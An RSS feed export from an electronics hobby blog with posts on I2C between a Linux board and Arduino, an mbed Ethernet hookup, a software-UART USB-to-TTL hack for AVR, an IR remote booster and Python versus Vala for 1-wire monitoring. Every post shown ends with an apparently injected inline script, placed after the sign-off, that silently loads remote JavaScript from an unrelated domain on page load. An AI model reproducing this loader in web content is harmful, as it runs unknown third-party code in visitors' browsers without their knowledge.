        <span style="color: #2040a0;">exit</span><span style="color: #4444ff;">(</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">24</span><span style="color: #4444ff;">;</span>
    // <span style="color: #2040a0;">read</span> <span style="color: #2040a0;">I2C</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">read</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to read from the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Read %d bytes from I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>

    <span style="color: #2040a0;">sprintf</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span>,<span style="color: #008000;">"IC2 from Linux to Arduino"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #2040a0;">i</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">strlen</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">write</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">file</span>,<span style="color: #2040a0;">buf</span>,<span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">)</span> <span style="color: #4444ff;"><strong>{</strong></span>
        <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Failed to write to the i2c bus.<span style="color: #77dd77;">\n</span>"</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span> <strong>else</strong> <span style="color: #4444ff;"><strong>{</strong></span>
      <span style="color: #2040a0;">printf</span><span style="color: #4444ff;">(</span><span style="color: #008000;">"Sent %d bytes to I2C: [%s]<span style="color: #77dd77;">\n</span>"</span>,<span style="color: #2040a0;">i</span>,<span style="color: #2040a0;">buf</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
    <span style="color: #4444ff;"><strong>}</strong></span>
<span style="color: #4444ff;"><strong>}</strong></span>

<strong>int</strong> <span style="color: #2040a0;">main</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<span style="color: #4444ff;"><strong>{</strong></span>
  <span style="color: #2040a0;">i2c_run</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
  <strong>return</strong> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<span style="color: #4444ff;"><strong>}</strong></span></pre>
<p>As you can see this code is a bit rude, but works really well : Read the I2C bus, and send a sample string, a proof ? :)</p>
<p><img style="border: 0px initial initial;" title="openWRT I2C" src="http://jkx.larsen-b.com/photos/blog/openWRT_I2C_001.jpg" alt="" width="690" height="440" /></p>
<p>Of course, I used string values but in real life a small protocol shoud be used. Another important thing: I used a NGW100 but you can use the same idea on all Linux embedded board like the Fonera, or anything else.</p>
<p><strong>Update:</strong> Of course you can use the <a href="http://lm-sensors.org/wiki/I2CTools">i2c-tools</a> on Linux to detect your own device. To do that : Grab the i2c-tools source, and cross compile it for the AVR32. (You only have to change the CC path in the Makefile).</p>
<p><strong>/Enjoy small Linux</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/398.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mbed Ethernet connection</title>
		<link>http://www.larsen-b.com/Article/385.html</link>
		<comments>http://www.larsen-b.com/Article/385.html#comments</comments>
		<pubDate>Sun, 07 Nov 2010 14:19:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[arm]]></category>
		<category><![CDATA[mbed]]></category>
		<category><![CDATA[rj45]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=385</guid>
		<description><![CDATA[I just received my mbed module. This little ARM device is pretty cool, and the associated tools works quite nice. Of course they cost a lot of money, I received mine for free for the mbed contest. Really kool no &#8230; <a href="http://www.larsen-b.com/Article/385.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I just received my <a href="http://mbed.org">mbed</a> module. This little ARM device is pretty cool, and the associated tools works quite nice. Of course they cost a lot of money, I received mine for free for the mbed contest. Really kool no ? ;)</p>
<p>After the classic blink test, I decided to go for a network test. But I don&#8217;t have any magnetic Ethernet module right now (In fact, I should have one, but I&#8217;m unable to find it). So let&#8217;s go for a magnetic less ! <a href="http://mbed.org/cookbook/Ethernet-RJ45">The doc on the mbed dedicated page</a> say that should be fine. I decided to pull the RJ45 socket from an old broken WRT54.</p>
<p>The main issue is to figure out how to solder this RJ45 on a veroboard. Here comes the fun part, I remembered that radio-amateur use a technique called &#8220;dead bug soldering&#8221;. Check this <a href="http://workmanship.nasa.gov/lib/insp/2%20books/links/sections/303_deadbugs.html">guidelines from the NASA</a> for examples.</p>
<p>I decided to give it a try :</p>
<p><img class="alignnone" title="RJ45 dead bug" src="http://jkx.larsen-b.com/photos/blog/PA245231_resized.sized.jpg" alt="" width="640" height="489" /></p>
<p>Just glue the RJ45 on the veroboard and use a common wrapping technique : Not so bad ;)</p>
<p>The next step is to flash a <a href="http://mbed.org/users/donatien/programs/">network example</a> to test.</p>
<p>That&#8217;s really fun, the mbed works pretty well. I secretly hopes that somebody will come with a mbed like with opensource hardware and software.</p>
<p><strong>Enjoy wired networks ;)</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/385.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Really cheap USB to TTL on Atmega : 1.70$</title>
		<link>http://www.larsen-b.com/Article/370.html</link>
		<comments>http://www.larsen-b.com/Article/370.html#comments</comments>
		<pubDate>Sat, 11 Sep 2010 16:58:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[atmega]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[rs232]]></category>
		<category><![CDATA[usb]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=370</guid>
		<description><![CDATA[One of the most common way to interface a microcontroler to a computer used to be serial port. But right now, serial port have been replaced with USB on most computers. A common way to fix this issue is to &#8230; <a href="http://www.larsen-b.com/Article/370.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>One of the most common way to interface a microcontroler to a computer used to be serial port. But right now, serial port have been replaced with USB on most computers. A common way to fix this issue is to use a USB to TTL converter or a USB to RS232 converter + MAX232. That&#8217;s fine but :</p>
<ul>
<li>USB to TTL PCB cost a bit of money : you can find some on Ebay around 7€ (shipped) and 15$ on Sparfun !!!  That&#8217;s about 2 or 5 times the cost of the microcontoler !</li>
<li>USB to RS232 cost 1.70$ (shipped) but need some extra level shifting and doesn&#8217;t really feet on a PCB (need a DB9 connector &#8230;)</li>
</ul>
<p style="text-align: left;">In fact, USB to RS232 is a mass product, and the cost is really low. I decided to order a couple of this, just to look if I can use this stuff on a PCB. So I bought a 1.70$ USB to RS232 on Ebay.</p>
<p style="text-align: left;">
<p style="text-align: center;"><img class="aligncenter" title="USB to RS232" src="http://jkx.larsen-b.com/photos/blog/USB_to_RS_232_Cable.jpg" alt="" width="324" height="282" /></p>
<p>I decided to rip the plastic off the DB9 and discovered a really tiny PCB. I removed the DB9, and decided to pass this little PCB to a scope session. How the hell do they manage to do a USB to RS232 with only a couple of external components ? They is no big capacitor for level shifter  (remember  RS232 is a +12/-12v ) ? The answer is simple, they don&#8217;t !!</p>
<p>This device isn&#8217;t RS232 compliant at all, the signals on the DB9 are TTL compliant, but not RS232. The ouput is between 0/5V and the input can handle -12/+12V but works great with a 0/5V too. I simply removed used pads on one side and added a couple on pins.</p>
<p style="text-align: center;">
<p style="text-align: center;"><img class="aligncenter" title="USB to TTL cheap" src="http://jkx.larsen-b.com/photos/blog/usb_ttl_1.sized.jpg" alt="" width="460" height="640" /></p>
<p style="text-align: left;">
<p style="text-align: left;">Please note that RX pin is missing on this pix but needed of course. The next step : How can I use this with an AVR Atmega (I used a Atmega8 but any will do the trick). Serial connection on a micro is TTL like this board, but the TTL signal is just inverted. A &#8220;1&#8243; on the RS232 side is a -12V and +5V on a TTL, and a 0 on the RS232 side is a + 12V and a 0v on the TTL. You can find all the information <a href="http://www.arcelect.com/rs232.htm">here</a>.</p>
<p style="text-align: left;">In fact MAX232 do both level shitting and inverting, but as I&#8217;m to lazy to wire a MAX232 (and will destroy the cheap aspect of this hack), I decided to handle this by software. This mean, I won&#8217;t be able to use the Atmega serial builtin port but need to write some additional code, to do the RS232 encoding/decoding by hand. Let&#8217;s give it a try :</p>
<p style="text-align: left;">
<p style="text-align: left;"><img class="aligncenter" title="USB to RS232 Atmega" src="http://jkx.larsen-b.com/photos/blog/P9115024.sized.jpg" alt="" width="640" height="609" /></p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: left;">I simply put this on a verroboard, connect VCC to USB Vcc, GND, RX and TX  to random pins on the AVR and let&#8217;s go to RS232 software serial. This can be done easily in fact, and I managed to handle 19200bauds with the internal 8Mhz clock of the Atmega. Above you will find the popular uart_putc() and uart_getc() ..</p>
<pre><a name="line1"> 1</a> <span style="color: #0000ff;"><strong>#define UART_TX	D,1</strong></span>
<a name="line2"> 2</a> <span style="color: #0000ff;"><strong>#define UART_RX	D,2</strong></span>
<a name="line3"> 3</a> <span style="color: #0000ff;"><strong>#define UART_DELAY	52 // 1/9600 = 104uS : 1/19200 = 52uS</strong></span>
<a name="line4"> 4</a>
<a name="line5"> 5</a>
<a name="line6"> 6</a> <strong>void</strong> <span style="color: #2040a0;">uart_putc</span><span style="color: #4444ff;">(</span><strong>char</strong> <span style="color: #2040a0;">c</span><span style="color: #4444ff;">)</span>
<a name="line7"> 7</a> <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line8"> 8</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>
<a name="line9"> 9</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">temp</span><span style="color: #4444ff;">;</span>
<a name="line10">10</a>
<a name="line11">11</a>   // <span style="color: #2040a0;">start</span>
<a name="line12">12</a>   <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line13">13</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line14">14</a>   <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line15">15</a>
<a name="line16">16</a>   <strong>for</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">&lt;</span><span style="color: #ff0000;">8</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">)</span>
<a name="line17">17</a>   <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line18">18</a>     <span style="color: #2040a0;">temp</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">c</span><span style="color: #4444ff;">&amp;</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">;</span>
<a name="line19">19</a>     <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">temp</span><span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>
<a name="line20">20</a>       <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line21">21</a>     <strong>else</strong>
<a name="line22">22</a>       <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line23">23</a>     <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line24">24</a>
<a name="line25">25</a>      <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">c</span> <span style="color: #4444ff;">&gt;</span><span style="color: #4444ff;">&gt;</span><span style="color: #ff0000;">1</span><span style="color: #4444ff;">;</span>
<a name="line26">26</a>   <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line27">27</a>
<a name="line28">28</a>   // <span style="color: #2040a0;">stop</span>
<a name="line29">29</a>   <span style="color: #2040a0;">set_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line30">30</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line31">31</a>   <span style="color: #2040a0;">clr_output</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_TX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line32">32</a>
<a name="line33">33</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line34">34</a> <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line35">35</a>
<a name="line36">36</a> <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">uart_getc</span><span style="color: #4444ff;">(</span><span style="color: #4444ff;">)</span>
<a name="line37">37</a> <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line38">38</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span>
<a name="line39">39</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<a name="line40">40</a>   <span style="color: #2040a0;">uchar</span> <span style="color: #2040a0;">currentChar</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span>
<a name="line41">41</a>
<a name="line42">42</a>   <strong>while</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">!</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">)</span>
<a name="line43">43</a>     <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">get_input</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_RX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line44">44</a>
<a name="line45">45</a>   <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span>/<span style="color: #ff0000;">2</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span> // <span style="color: #2040a0;">middle</span> <span style="color: #2040a0;">of</span> <span style="color: #2040a0;">the</span> <span style="color: #2040a0;">start</span> <span style="color: #2040a0;">bit</span>
<a name="line46">46</a>   <strong>for</strong><span style="color: #4444ff;">(</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">&lt;</span><span style="color: #ff0000;">8</span><span style="color: #4444ff;">;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">+</span><span style="color: #4444ff;">)</span>
<a name="line47">47</a>     <span style="color: #4444ff;"><strong>{</strong></span>
<a name="line48">48</a>       <span style="color: #2040a0;">_delay_us</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_DELAY</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line49">49</a>       <span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span> <span style="color: #2040a0;">get_input</span><span style="color: #4444ff;">(</span><span style="color: #2040a0;">UART_RX</span><span style="color: #4444ff;">)</span><span style="color: #4444ff;">;</span>
<a name="line50">50</a>
<a name="line51">51</a>       <strong>if</strong> <span style="color: #4444ff;">(</span><span style="color: #2040a0;">ib</span> <span style="color: #4444ff;">=</span><span style="color: #4444ff;">=</span><span style="color: #ff0000;">0</span><span style="color: #4444ff;">)</span>
<a name="line52">52</a> 	<span style="color: #2040a0;">currentChar</span> <span style="color: #4444ff;">|</span><span style="color: #4444ff;">=</span> <span style="color: #ff0000;">1</span><span style="color: #4444ff;">&lt;</span><span style="color: #4444ff;">&lt;</span><span style="color: #2040a0;">i</span><span style="color: #4444ff;">;</span> // <span style="color: #2040a0;">this</span> <span style="color: #2040a0;">is</span> <span style="color: #2040a0;">a</span> <span style="color: #ff0000;">1</span>
<a name="line53">53</a>     <span style="color: #4444ff;"><strong>}</strong></span>
<a name="line54">54</a>   <strong>return</strong> <span style="color: #2040a0;">currentChar</span><span style="color: #4444ff;">;</span>
<a name="line55">55</a> <span style="color: #4444ff;"><strong>}</strong></span></pre>
<p style="text-align: left;">
<p style="text-align: left;">Nothing more to say, this hack works really great, and I can now build a bunch of USB board without paying so much. The only drawback of this approach is that you can&#8217;t use an interrupt for the uart_getc() so you have deal with that in your code. Another approach would use a single transistor for the RX pin to make the RX compliant w/ the AVR serial builtin routine.</p>
<p style="text-align: left;">
<p style="text-align: left;">You can find the whole project C files + Makefile in a zip <a href="http://www.larsen-b.com/wp-content/uploads/avr-soft-serial.zip">here</a>. I think this little hack is really useful, so please send it to all to your DIYer friends, this can save them money, time &#8230;</p>
<p style="text-align: left;">
<p style="text-align: left;"><strong>// Enjoy cheap USB ? :)</strong></p>
<p><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/370.html/feed</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Boosting IR remote video sender (Thomson VS360U)</title>
		<link>http://www.larsen-b.com/Article/364.html</link>
		<comments>http://www.larsen-b.com/Article/364.html#comments</comments>
		<pubDate>Sat, 21 Aug 2010 14:21:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[diy]]></category>
		<category><![CDATA[infrared]]></category>
		<category><![CDATA[transistor]]></category>
		<category><![CDATA[video sender]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=364</guid>
		<description><![CDATA[In my home, I have a bad TV antenna, so we use only the cable receiver to watch TV. But I have two TV sets. I decided to buy a video sender a couple of months ago, but never managed &#8230; <a href="http://www.larsen-b.com/Article/364.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In my home, I have a bad TV antenna, so we use only the cable receiver to watch TV. But I have two TV sets. I decided to buy a video sender a couple of months ago, but never managed to get it working nicely. I bought a Thomson VS360U video sender. This one is really cheap, 24 €, works on the 2.4Ghz for the audio/video and 433Mhz for remote.</p>
<p><img class="alignnone" title="Thomson video sender" src="http://jkx.larsen-b.com/photos/blog/L2210.jpg" alt="" width="250" height="150" /></p>
<p>At the first test, I discovered that the transceiver come with a couple of IR leds. I have to glue each IR led in front of each part of your equipment I want to drive. For me, the cable receiver, the DVD, the Dvico, and the AV amp .. I tried this, but that&#8217;s a mess, each led is soldered on a single string, and tend to move. Not really a nice experience. This is simple to crappy to be use.</p>
<p>I decided to mod it to be able to use a single IR led, with a better gain. The first step is to find the right place to place my mod. Just open the transceiver, locate the power supply (Vcc/Gnd) and the IR transistor. I was quite easy, the only trick is to solder the wire for the IR transistor just before the base resistor. Here is the result.</p>
<p><img class="alignnone" title="Thomson video sender hack-1" src="http://jkx.larsen-b.com/photos/blog/P6113410_contrast.sized.jpg" alt="" width="640" height="575" /></p>
<p>You can find a better pix, in the <a href="http://jkx.larsen-b.com/gallery/blog/P6113410_contrast">gallery.</a> I used a scope to find the IR transistor, but this can be done without.</p>
<p>Let&#8217;s build a simple IR booster, that&#8217;s connect to this pins, and everything will be fine. I used an common BC547 but any common transistor will do the job.</p>
<p><img class="alignnone" title="IR booster schematic" src="http://jkx.larsen-b.com/photos/blog/vs_schem.png" alt="" width="285" height="335" /></p>
<p>The result :</p>
<p><img class="alignnone" title="video sender final" src="http://jkx.larsen-b.com/photos/blog/vs_final.sized.jpg" alt="" width="506" height="640" /></p>
<p>As you can see, this is small. I placed this near my cable receiver and every is working nicely. I can now control every equipment (cable, DVD, Dvico) for my room without any lag, or IR lost signal.</p>
<p>I managed to fix this cheap video sender without to much effort, I&#8217;m happy. This kind of hack can be used in a couple video sender device. The hardest part is to find the IR transistor, the rest is simply the same.</p>
<p><em><strong>Enjoy TV from bed ;) </strong></em><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/364.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>From Python to Vala for 1wire monitoring w/ Munin</title>
		<link>http://www.larsen-b.com/Article/352.html</link>
		<comments>http://www.larsen-b.com/Article/352.html#comments</comments>
		<pubDate>Mon, 26 Jul 2010 16:44:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[1wire]]></category>
		<category><![CDATA[arduino]]></category>
		<category><![CDATA[munin]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[vala]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=352</guid>
		<description><![CDATA[Recently I decided to daily switch my main computer off. This computer was usually on all time, and consume a lot of electricity. So, I switched to a really small computer for common task: ssh-server, wake on lan (for my &#8230; <a href="http://www.larsen-b.com/Article/352.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Recently I decided to daily switch my main computer off. This computer was usually on all time, and consume a lot of electricity. So, I switched to a really small computer for common task: ssh-server, wake on lan (for my main computer), VPN access and mail relay. This new computer consume 7watts but his specs are : Geode CPU at 300Mhz, 128Mb of RAM, and 40Go of HD. Yes, that&#8217;s really low, but far enough for attributed tasks. I randomly log on this for external to access all computer inside my home network.</p>
<p>The main issue here, is that I used my main computer to monitor an 1wire network of external, heating and rooms temperature. I used a small Arduino card and a couple of <a href="http://www.python.org">Python</a> scripts to populate some munin graph, like this one:</p>
<p><img class="aligncenter" title="munin temperature" src="http://jkx.larsen-b.com/photos/blog/localhost_localdomain_jkx_temp_week.png" alt="" width="495" height="319" /></p>
<p>As you can see on this graph, I use a reference temperature from Guipavas. This stuff is public, and I use the <a href="http://www.weather.com">Weather.com</a> for the info. All works fine for about an year now. But when I switched to my new little box (300Mhz..) the python script used to monitor the 1wire network and gather weather.com reference was a bit heavier than excepted for this little box.</p>
<p>I first thought to rewrite this in pure C, but having to deal w/ xml parsing (libxml) and Posix serial in C .. That&#8217;s the little story, I decided to rewrite this script (and other) in <a href="http://live.gnome.org/Vala">Vala</a>. I will not dump the Vala introduction here, but to be short it&#8217;s a new language that produce C used by Gnome Desktop. The syntax tend to be a C# like, and it has a lot of libraries and doesn&#8217;t need the bloat of an interpreter (nor VM). My first test was to listen to the Arduino serial port.</p>
<pre>public void run()
{
ser = new Serial.POSIX();
loop = new GLib.MainLoop();
ser.speed=Serial.Speed.B38400;
ser.received_data.connect(parseSerial);
loop.run();
}</pre>
<p><br/><br />
I used a Serial.vala wrapper found on the net, this is simple and neat. Just added some string parsing, and I get my Arduino 1wire network working w/ Vala .. The next is the Weather.com parsing which will be covered in a future post.<br />
To conclude, the Vala result is fine. The result binary is small 38KB, it has quite a lot of dependencies (libsoup,glib, pthread, gobject..) and consume more memory than my python script. Python interpreter + Elementtree (xml parsing) + pyserial eat around 8.9MB of RAM, while the my Vala code eat 12.3MB. But keep in mind that&#8217;s this is with all the shared libraries. So, if you use a couple of script like me, this memory isn&#8217;t a big deal, because it will be used across different process without any overhead.</p>
<p>In meantimes, the main difference between the two version is the speed, here come some results with the time command of the weather.com functions only (I dropped the serial IO stuff for this test) :</p>
<pre>jkx@brick:~$ time python weather.py
Temp:    20
Pres:    1021.0 hPa
Wind:    19 km/s

real    0m2.105s
user    0m1.468s
sys     0m0.216s</pre>
<pre>jkx@brick:~$ time ./weather
Temp:    20 deg
Pres:    1021.0 hPa
Wind:    19 km/s

real    0m0.427s
user    0m0.084s
sys     0m0.032s</pre>
<p><br/></p>
<p>Ok, Python takes 4x the Vala time for the same stuff. Of course this piece of code isn&#8217;t exactly the same, and evolve an network access, but I tested this a couple of times, and the result is always ~ the same, so I decide to look closer, and found that despite Python interpreter load quite speedy, ElementTree + urllib2 take 1.35sec to import</p>
<p>I get it, this system has a really small CPU and importing libs from harddrive takes times .. which doesn&#8217;t occur with my Vala code, the binary is small, and all dependency are already loaded by the OS itself. To conclude, Python is still my favorite language but running python script on small system has an overhead which I must take care, and avoiding loading / unloading libs is the key. A single python process, with some script loaded will be a better choice. And for small custom apps used on this kind of system, Vala seems to be a good alternative.</p>
<p><strong>// Enjoy the sun</strong></p>
<p><strong><br />
</strong><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/352.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Howto use AVR Dragon Jtag on Linux (Avarice + avr-gdb +DDD)</title>
		<link>http://www.larsen-b.com/Article/315.html</link>
		<comments>http://www.larsen-b.com/Article/315.html#comments</comments>
		<pubDate>Sun, 30 Nov 2008 15:45:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Electronics]]></category>
		<category><![CDATA[avr]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.larsen-b.com/?p=315</guid>
		<description><![CDATA[I bought a couple of months ago a little AVR Dragon card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc &#8230; <a href="http://www.larsen-b.com/Article/315.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I bought a couple of months ago a little <a href="http://www.atmel.com/dyn/Products/tools_card.asp?tool_id=3891">AVR Dragon</a> card. My initial plan was to use it for debuging programs with the embbeded JTAG. But I run into several issue with that, mainly because the lack of doc on this topic. So, here we are ;)</p>
<p>The AVR Dragon is nice because you can use it as a small developpement device without any other requirement: Simply drop the needed ATMega on the board, some little wrapping for : Jtag + power supply.</p>
<p><a href="http://jkx.larsen-b.com/gallery/blog/pb163528?full=1"><img class="alignnone" title="AVR Dragon + ATMega 16" src="http://jkx.larsen-b.com/photos/blog/pb163528.sized.jpg" alt="" width="640" height="410" /></a></p>
